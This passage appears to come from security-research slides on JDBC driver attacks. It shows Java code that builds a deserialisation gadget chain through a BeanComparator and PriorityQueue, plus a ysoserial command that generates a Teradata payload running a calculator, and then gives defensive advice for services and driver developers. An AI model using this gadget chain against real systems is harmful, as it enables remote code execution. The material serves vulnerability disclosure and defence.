BeanComparator("lowestSetBit"); // create queue with numbers and basic comparator final PriorityQueue queue = new PriorityQueue(2, comparator); // stub data for replacement later queue.add(new BigInteger("1")); queue.add(new BigInteger("1")); // switch method called by comparator to "getConnection" Reflections.setFieldValue(comparator, "property", "connection"); // switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = dataSource; queueArray[1] = dataSource; return queue; } Bypass high version Java reflection restriction via Teradata JDBC Driver • Use ysoserial tool to generate CommonsBeanutils1 payload - java -jar ysoserial.jar TeraDataSource1 "open -a calculator" > /tmp/tds.ser • Java reflection has been evaded successfully in Java 17 Abused Connection Resource Arbitrary Log File Writing Lexical Syntax Compatibility Unchecked Initialization Class Incorrect Response Disposal JDBC Attack Protection JDBC Security for Service Providers If you expose JDBC configuration to users in your software / service: • Use an allow-list for JDBC properties with minimal viable set for business / service needs • Use only vetted JDBC drivers and do not allow user upload • Pay special attention to configuration properties which affect file writes and network/OS commands - deny these by default • Sandbox user-originated JDBC activity in a dedicated VM or cloud function - assume the environment will be compromised and minimize blast radius • Regularly review JDBC configurations and usage for malicious or unexpected configuration • JDBC drivers should be part of your component version lifecycle strategy (keep them updated) JDBC Security for Developers If you are developing a JDBC driver… • Do not trust user-provided properties, especially when the properties are used to invoke network calls, OS commands, or code through reflection • Beware of the malicious server and consider using checksums or other verifiable data exchange mechanism • If you are forking an existing JDBC driver, make sure you stay up to date with the upstream driver and ensure you are applying particularly security fixes